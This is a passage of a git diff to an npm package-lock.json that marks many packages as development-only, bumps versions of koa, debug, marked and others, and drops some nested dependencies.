"https://registry.npmjs.org/is-array-buffer-x/-/is-array-buffer-x-1.7.0.tgz", "integrity": "sha512-ufSZRMY2WZX5xyNvk0NOZAG7cgi35B/sGQDGqv8w0X7MoQ2GC9vedanJhuYTPaC4PUCqLQsda1w7NF+dPZmAJw==", + "dev": true, "requires": { "attempt-x": "^1.1.0", "has-to-string-tag-x": "^1.4.1", @@ -7555,7 +6528,8 @@ "is-buffer": { "version": "1.1.6", "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", - "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==" + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", + "dev": true }, "is-callable": { "version": "1.2.4", @@ -7576,6 +6550,7 @@ "version": "1.0.5", "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.5.tgz", "integrity": "sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==", + "dev": true, "requires": { "has-tostringtag": "^1.0.0" } @@ -7596,6 +6571,7 @@ "version": "1.0.3", "resolved": "https://registry.npmjs.org/is-falsey-x/-/is-falsey-x-1.0.3.tgz", "integrity": "sha512-RWjusR6LXAhGa0Vus7aD1rwJuJwdJsvG3daAVMDvOAgvGuGm4eilNgoSuXhpv2/2qpLDvioAKTNb3t3XYidCNg==", + "dev": true, "requires": { "to-boolean-x": "^1.0.2" } @@ -7604,6 +6580,7 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/is-finite-x/-/is-finite-x-3.0.4.tgz", "integrity": "sha512-wdSI5zk/Pl21HzGcLWFoFzuDa8gsgcqhwZGAZryL2eU7RKf7+g+q4jL2gGItrBs/YtspkjOrJ4JxXNZqquoAWA==", + "dev": true, "requires": { "infinity-x": "^1.0.1", "is-nan-x": "^1.0.2" @@ -7619,6 +6596,7 @@ "version": "3.3.0", "resolved": "https://registry.npmjs.org/is-function-x/-/is-function-x-3.3.0.tgz", "integrity": "sha512-SreSSU1dlgYaXR5c0mm4qJHKYHIiGiEY+7Cd8/aRLLoMP/VvofD2XcWgBnP833ajpU5XzXbUSpfysnfKZLJFlg==", + "dev": true, "requires": { "attempt-x": "^1.1.1", "has-to-string-tag-x": "^1.4.1", @@ -7633,7 +6611,8 @@ "is-primitive": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", - "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=" + "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", + "dev": true } } }, @@ -7659,6 +6638,7 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-index-x/-/is-index-x-1.1.0.tgz", "integrity": "sha512-qULKLMepQLGC8rSVdi8uF2vI4LiDrU9XSDg1D+Aa657GIB7GV1jHpga7uXgQvkt/cpQ5mVBHUFTpSehYSqT6+A==", + "dev": true, "requires": { "math-clamp-x": "^1.2.0", "max-safe-integer": "^1.0.1", @@ -7676,7 +6656,8 @@ "is-nan-x": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/is-nan-x/-/is-nan-x-1.0.3.tgz", - "integrity": "sha512-WenNBLVGSZID8shogsB++42vF7gvotCfneXM9KMCAKwNPXa8VfAu/RWwpqvnK7dLOP4Z7uitocb0TZ6rAiOccA==" + "integrity": "sha512-WenNBLVGSZID8shogsB++42vF7gvotCfneXM9KMCAKwNPXa8VfAu/RWwpqvnK7dLOP4Z7uitocb0TZ6rAiOccA==", + "dev": true }, "is-negative-zero": { "version": "2.0.1", @@ -7688,6 +6669,7 @@ "version": "1.4.2", "resolved": "https://registry.npmjs.org/is-nil-x/-/is-nil-x-1.4.2.tgz", "integrity": "sha512-9aDY7ir7IGb5HlgqL+b38v2YMxf8S7MEHHxjHGzUhijg2crq47RKdxL37bS6dU0VN87wy2IBZP4akgQtIXmyvg==", + "dev": true, "requires": { "lodash.isnull": "^3.0.0", "validate.io-undefined": "^1.0.3" @@ -7718,6 +6700,7 @@ "version": "1.7.1", "resolved": "https://registry.npmjs.org/is-object-like-x/-/is-object-like-x-1.7.1.tgz", "integrity": "sha512-89nz+kESAW2Y7udq+PdRX/dZnRN2WP1b19Gdv4OYE1Xjoekn1xf31l0ZPzT40qdPD7I2nveNFm9rxxI0vmnGHA==", + "dev": true, "requires": { "is-function-x": "^3.3.0", "is-primitive": "^3.0.0" @@ -7738,7 +6721,8 @@ "is-primitive": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-3.0.1.tgz", - "integrity": "sha512-GljRxhWvlCNRfZyORiH77FwdFwGcMO620o37EOYC0ORWdq+WYNVqW0w2Juzew4M+L81l6/QS3t5gkkihyRqv9w==" + "integrity": "sha512-GljRxhWvlCNRfZyORiH77FwdFwGcMO620o37EOYC0ORWdq+WYNVqW0w2Juzew4M+L81l6/QS3t5gkkihyRqv9w==", + "dev": true }, "is-regex": { "version": "1.1.4", @@ -7766,6 +6750,7 @@ "version": "1.0.7", "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz", "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==", + "dev": true, "requires": { "has-tostringtag": "^1.0.0" } @@ -7774,6 +6759,7 @@ "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz", "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==", + "dev": true, "requires": { "has-symbols": "^1.0.2" } @@ -7812,9 +6798,10 @@ } }, "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true }, "isbinaryfile": { "version": "4.0.8", @@ -7829,9 +6816,9 @@ "dev": true }, "istanbul-lib-coverage": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.0.tgz", - "integrity": "sha512-UiUIqxMgRDET6eR+o5HbfRYP1l0hqkWOs7vNxC/mggutCMUIhWMm8gAHb8tHlyfD3/l6rlgNA5cKdDzEAf6hEg==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.1.tgz", + "integrity": "sha512-GvCYYTxaCPqwMjobtVcVKvSHtAGe48MNhGjpK8LtVF8K0ISX7hCKl85LgtuaSneWVyQmaGcW3iXVV3GaZSLpmQ==", "dev": true }, "istanbul-lib-report": { @@ -7913,6 +6900,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz", "integrity": "sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=", + "dev": true, "requires": { "jsonify": "~0.0.0" } @@ -7946,20 +6934,13 @@ "requires": { "graceful-fs": "^4.1.6", "universalify": "^2.0.0" - }, - "dependencies": { - "universalify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", - "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", - "dev": true - } } }, "jsonify": { "version": "0.0.0", "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", - "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=" + "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", + "dev": true }, "jsonld-context-parser": { "version": "2.1.5", @@ -8008,30 +6989,17 @@ "jsonld-context-parser": "^2.0.0" } }, - "jsonlint": { - "version": "1.6.3", - "resolved": "https://registry.npmjs.org/jsonlint/-/jsonlint-1.6.3.tgz", - "integrity": "sha512-jMVTMzP+7gU/IyC6hvKyWpUU8tmTkK5b3BPNuMI9U8Sit+YAWLlZwB6Y6YrdCxfg2kNz05p3XY3Bmm4m26Nv3A==", - "requires": { - "JSV": "^4.0.x", - "nomnom": "^1.5.x" - } - }, "jsonparse": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=", "dev": true }, - "jsrsasign": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/jsrsasign/-/jsrsasign-10.4.0.tgz", - "integrity": "sha512-C8qLhiAssh/b74KJpGhWuFGG9cFhJqMCVuuHXRibb3Z5vPuAW0ue0jUirpoExCdpdhv4nD3sZ1DAwJURYJTm9g==" - }, "jstransform": { "version": "11.0.3", "resolved": "https://registry.npmjs.org/jstransform/-/jstransform-11.0.3.tgz", "integrity": "sha1-CaeJk+CuTU70SH9hVakfYZDLQiM=", + "dev": true, "requires": { "base62": "^1.1.0", "commoner": "^0.10.1", @@ -8043,7 +7011,8 @@ "esprima-fb": { "version": "15001.1.0-dev-harmony-fb", "resolved": "https://registry.npmjs.org/esprima-fb/-/esprima-fb-15001.1.0-dev-harmony-fb.tgz", - "integrity": "sha1-MKlHMDxrjV6VW+4rmbHSMyBqaQE=" + "integrity": "sha1-MKlHMDxrjV6VW+4rmbHSMyBqaQE=", + "dev": true } } }, @@ -8069,9 +7038,9 @@ "dev": true }, "koa": { - "version": "2.13.1", - "resolved": "https://registry.npmjs.org/koa/-/koa-2.13.1.tgz", - "integrity": "sha512-Lb2Dloc72auj5vK4X4qqL7B5jyDPQaZucc9sR/71byg7ryoD1NCaCm63CShk9ID9quQvDEi1bGR/iGjCG7As3w==", + "version": "2.13.3", + "resolved": "https://registry.npmjs.org/koa/-/koa-2.13.3.tgz", + "integrity": "sha512-XhXIoR+ylAwqG3HhXwnMPQAM/4xfywz52OvxZNmxmTWGGHsvmBv4NSIhURha6yMuvEex1WdtplUTHnxnKpQiGw==", "dev": true, "requires": { "accepts": "^1.3.5", @@ -8079,7 +7048,7 @@ "content-disposition": "~0.5.2", "content-type": "^1.0.4", "cookies": "~0.8.0", - "debug": "~3.1.0", + "debug": "^4.3.2", "delegates": "^1.0.0", "depd": "^2.0.0", "destroy": "^1.0.4", @@ -8090,7 +7059,7 @@ "http-errors": "^1.6.3", "is-generator-function": "^1.0.7", "koa-compose": "^4.1.0", - "koa-convert": "^1.2.0", + "koa-convert": "^2.0.0", "on-finished": "^2.3.0", "only": "~0.0.2", "parseurl": "^1.3.2", @@ -8100,13 +7069,19 @@ }, "dependencies": { "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", "dev": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.2" } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, @@ -8117,24 +7092,13 @@ "dev": true }, "koa-convert": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/koa-convert/-/koa-convert-1.2.0.tgz", - "integrity": "sha1-2kCHXfSd4FOQmNFwC1CCDOvNIdA=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/koa-convert/-/koa-convert-2.0.0.tgz", + "integrity": "sha512-asOvN6bFlSnxewce2e/DK3p4tltyfC4VM7ZwuTuepI7dEQVcvpyFuBcEARu1+Hxg8DIwytce2n7jrZtRlPrARA==", "dev": true, "requires": { "co": "^4.6.0", - "koa-compose": "^3.0.0" - }, - "dependencies": { - "koa-compose": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/koa-compose/-/koa-compose-3.2.1.tgz", - "integrity": "sha1-qFzLQLfZhtjlo0Wzoazo6rz1Tec=", - "dev": true, - "requires": { - "any-promise": "^1.1.0" - } - } + "koa-compose": "^4.1.0" } }, "koa-etag": { @@ -8211,6 +7175,7 @@ "version": "6.0.1", "resolved": "https://registry.npmjs.org/level/-/level-6.0.1.tgz", "integrity": "sha512-psRSqJZCsC/irNhfHzrVZbmPYXDcEYhA5TVNwr+V92jF44rbf86hqGp8fiT702FyiArScYIlPSBTDUASCVNSpw==", + "dev": true, "requires": { "level-js": "^5.0.0", "level-packager": "^5.1.0", @@ -8221,6 +7186,7 @@ "version": "9.0.2", "resolved": "https://registry.npmjs.org/level-codec/-/level-codec-9.0.2.tgz", "integrity": "sha512-UyIwNb1lJBChJnGfjmO0OR+ezh2iVu1Kas3nvBS/BzGnx79dv6g7unpKIDNPMhfdTEGoc7mC8uAu51XEtX+FHQ==", + "dev": true, "requires": { "buffer": "^5.6.0" } @@ -8228,12 +7194,14 @@ "level-concat-iterator": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/level-concat-iterator/-/level-concat-iterator-2.0.1.tgz", - "integrity": "sha512-OTKKOqeav2QWcERMJR7IS9CUo1sHnke2C0gkSmcR7QuEtFNLLzHQAvnMw8ykvEcv0Qtkg0p7FOwP1v9e5Smdcw==" + "integrity": "sha512-OTKKOqeav2QWcERMJR7IS9CUo1sHnke2C0gkSmcR7QuEtFNLLzHQAvnMw8ykvEcv0Qtkg0p7FOwP1v9e5Smdcw==", + "dev": true }, "level-errors": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/level-errors/-/level-errors-2.0.1.tgz", "integrity": "sha512-UVprBJXite4gPS+3VznfgDSU8PTRuVX0NXwoWW50KLxd2yw4Y1t2JUR5In1itQnudZqRMT9DlAM3Q//9NCjCFw==", + "dev": true, "requires": { "errno": "~0.1.1" } @@ -8242,59 +7210,30 @@ "version": "4.0.2", "resolved": "https://registry.npmjs.org/level-iterator-stream/-/level-iterator-stream-4.0.2.tgz", "integrity": "sha512-ZSthfEqzGSOMWoUGhTXdX9jv26d32XJuHz/5YnuHZzH6wldfWMOVwI9TBtKcya4BKTyTt3XVA0A3cF3q5CY30Q==", + "dev": true, "requires": { "inherits": "^2.0.4", "readable-stream": "^3.4.0", "xtend": "^4.0.2" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "level-js": { "version": "5.0.2", "resolved": "https://registry.npmjs.org/level-js/-/level-js-5.0.2.tgz", "integrity": "sha512-SnBIDo2pdO5VXh02ZmtAyPP6/+6YTJg2ibLtl9C34pWvmtMEmRTWpra+qO/hifkUtBTOtfx6S9vLDjBsBK4gRg==", + "dev": true, "requires": { "abstract-leveldown": "~6.2.3", "buffer": "^5.5.0", "inherits": "^2.0.3", "ltgt": "^2.1.2" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - } } }, "level-packager": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/level-packager/-/level-packager-5.1.1.tgz", "integrity": "sha512-HMwMaQPlTC1IlcwT3+swhqf/NUO+ZhXVz6TY1zZIIZlIR0YSn8GtAAWmIvKjNY16ZkEg/JcpAuQskxsXqC0yOQ==", + "dev": true, "requires": { "encoding-down": "^6.3.0", "levelup": "^4.3.2" @@ -8304,6 +7243,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/level-supports/-/level-supports-1.0.1.tgz", "integrity": "sha512-rXM7GYnW8gsl1vedTJIbzOrRv85c/2uCMpiiCzO2fndd06U/kUXEEU9evYn4zFggBOg36IsBW8LzqIpETwwQzg==", + "dev": true, "requires": { "xtend": "^4.0.2" } @@ -8312,6 +7252,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/level-write-stream/-/level-write-stream-1.0.0.tgz", "integrity": "sha1-P3+7Z5pVE3wP6zA97nZuEu4Twdw=", + "dev": true, "requires": { "end-stream": "~0.1.0" } @@ -8320,6 +7261,7 @@ "version": "5.6.0", "resolved": "https://registry.npmjs.org/leveldown/-/leveldown-5.6.0.tgz", "integrity": "sha512-iB8O/7Db9lPaITU1aA2txU/cBEXAt4vWwKQRrrWuS6XDgbP4QZGj9BL2aNbwb002atoQ/lIotJkfyzz+ygQnUQ==", + "dev": true, "requires": { "abstract-leveldown": "~6.2.1", "napi-macros": "~2.0.0", @@ -8330,6 +7272,7 @@ "version": "4.4.0", "resolved": "https://registry.npmjs.org/levelup/-/levelup-4.4.0.tgz", "integrity": "sha512-94++VFO3qN95cM/d6eBXvd894oJE0w3cInq9USsyQzzoJxmiYzPAocNcuGCPGGjoXqDVJcr3C1jzt1TSjyaiLQ==", + "dev": true, "requires": { "deferred-leveldown": "~5.3.0", "level-errors": "~2.0.0", @@ -8352,6 +7295,7 @@ "version": "3.1.1", "resolved": "https://registry.npmjs.org/lie/-/lie-3.1.1.tgz", "integrity": "sha1-mkNrLMd0bKWd56QfpGmz77dr2H4=", + "dev": true, "requires": { "immediate": "~3.0.5" } @@ -8394,40 +7338,6 @@ "stringify-object": "^3.3.0" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "commander": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", @@ -8462,13 +7372,13 @@ } }, "listr2": { - "version": "3.11.1", - "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.11.1.tgz", - "integrity": "sha512-ZXQvQfmH9iWLlb4n3hh31yicXDxlzB0pE7MM1zu6kgbVL4ivEsO4H8IPh4E682sC8RjnYO9anose+zT52rrpyg==", + "version": "3.12.2", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.12.2.tgz", + "integrity": "sha512-64xC2CJ/As/xgVI3wbhlPWVPx0wfTqbUAkpb7bjDi0thSWMqrf07UFhrfsGoo8YSXmF049Rp9C0cjLC8rZxK9A==", "dev": true, "requires": { "cli-truncate": "^2.1.0", - "colorette": "^1.2.2", + "colorette": "^1.4.0", "log-update": "^4.0.0", "p-map": "^4.0.0", "rxjs": "^6.6.7", @@ -8549,7 +7459,8 @@ "lodash.isnull": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/lodash.isnull/-/lodash.isnull-3.0.0.tgz", - "integrity": "sha1-+vvlnqHcon7teGU0A53YTC4HxW4=" + "integrity": "sha1-+vvlnqHcon7teGU0A53YTC4HxW4=", + "dev": true }, "lodash.merge": { "version": "4.6.2", @@ -8627,39 +7538,6 @@ "wrap-ansi": "^6.2.0" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - }, "wrap-ansi": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", @@ -8674,15 +7552,15 @@ } }, "logform": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/logform/-/logform-2.2.0.tgz", - "integrity": "sha512-N0qPlqfypFx7UHNn4B3lzS/b0uLqt2hmuoa+PpuXNYgozdJYAyauF5Ky0BWVjrxDlMWiT3qN4zPq3vVAfZy7Yg==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/logform/-/logform-2.3.0.tgz", + "integrity": "sha512-graeoWUH2knKbGthMtuG1EfaSPMZFZBIrhuJHhkS5ZseFBrc7DupCzihOQAzsK/qIKPQaPJ/lFQFctILUY5ARQ==", "dev": true, "requires": { "colors": "^1.2.1", - "fast-safe-stringify": "^2.0.4", "fecha": "^4.2.0", "ms": "^2.1.1", + "safe-stable-stringify": "^1.1.0", "triple-beam": "^1.3.0" }, "dependencies": { @@ -8706,12 +7584,14 @@ "ltgt": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/ltgt/-/ltgt-2.2.1.tgz", - "integrity": "sha1-81ypHEk/e3PaDgdJUwTxezH4fuU=" + "integrity": "sha1-81ypHEk/e3PaDgdJUwTxezH4fuU=", + "dev": true }, "lunr": { "version": "0.7.1", "resolved": "https://registry.npmjs.org/lunr/-/lunr-0.7.1.tgz", - "integrity": "sha1-taLP+ZVVt4k/XxpKF68/Y4NzxLs=" + "integrity": "sha1-taLP+ZVVt4k/XxpKF68/Y4NzxLs=", + "dev": true }, "make-dir": { "version": "3.1.0", @@ -8731,15 +7611,15 @@ } }, "map-obj": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.2.1.tgz", - "integrity": "sha512-+WA2/1sPmDj1dlvvJmB5G6JKfY9dpn7EVBUL06+y6PoljPkh+6V1QihwxNkbcGxCRjt2b0F9K0taiCuo7MbdFQ==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", + "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==", "dev": true }, "marked": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/marked/-/marked-0.7.0.tgz", - "integrity": "sha512-c+yYdCZJQrsRjTPhUx7VKkApw9bwDkNbHUKo1ovgcfDjb2kc8rLuRbIFyXL5WOEUwzSSKo3IXpph2K6DqB/KZg==" + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz", + "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==" }, "marky": { "version": "1.2.2", @@ -8751,6 +7631,7 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/math-clamp-x/-/math-clamp-x-1.2.0.tgz", "integrity": "sha512-tqpjpBcIf9UulApz3EjWXqTZpMlr2vLN9PryC9ghoyCuRmqZaf3JJhPddzgQpJnKLi2QhoFnvKBFtJekAIBSYg==", + "dev": true, "requires": { "to-number-x": "^2.0.0" } @@ -8759,6 +7640,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/math-sign-x/-/math-sign-x-3.0.0.tgz", "integrity": "sha512-OzPas41Pn4d16KHnaXmGxxY3/l3zK4OIXtmIwdhgZsxz4FDDcNnbrABYPg2vGfxIkaT9ezGnzDviRH7RfF44jQ==", + "dev": true, "requires": { "is-nan-x": "^1.0.1", "to-number-x": "^2.0.0" @@ -8767,12 +7649,14 @@ "max-safe-integer": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/max-safe-integer/-/max-safe-integer-1.0.1.tgz", - "integrity": "sha1-84BgvixWPYwC5tSK85Ei/YO29BA=" + "integrity": "sha1-84BgvixWPYwC5tSK85Ei/YO29BA=", + "dev": true }, "md5": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/md5/-/md5-2.3.0.tgz", "integrity": "sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==", + "dev": true, "requires": { "charenc": "0.0.2", "crypt": "0.0.2", @@ -8901,6 +7785,7 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", + "dev": true, "requires": { "brace-expansion": "^1.1.7" } @@ -8908,7 +7793,8 @@ "minimist": { "version": "1.2.5", "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", - "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", + "dev": true }, "minimist-options": { "version": "4.1.0", @@ -8925,6 +7811,7 @@ "version": "0.5.5", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "dev": true, "requires": { "minimist": "^1.2.5" } @@ -9204,7 +8091,8 @@ "monaco-editor": { "version": "0.26.1", "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.26.1.tgz", - "integrity": "sha512-mm45nUrBDk0DgZKgbD7+bhDOtcAFNGPJJRAdS6Su1kTGl6XEgC7U3xOmDUW/0RrLf+jlvCGaqLvD4p2VjwuwwQ==" + "integrity": 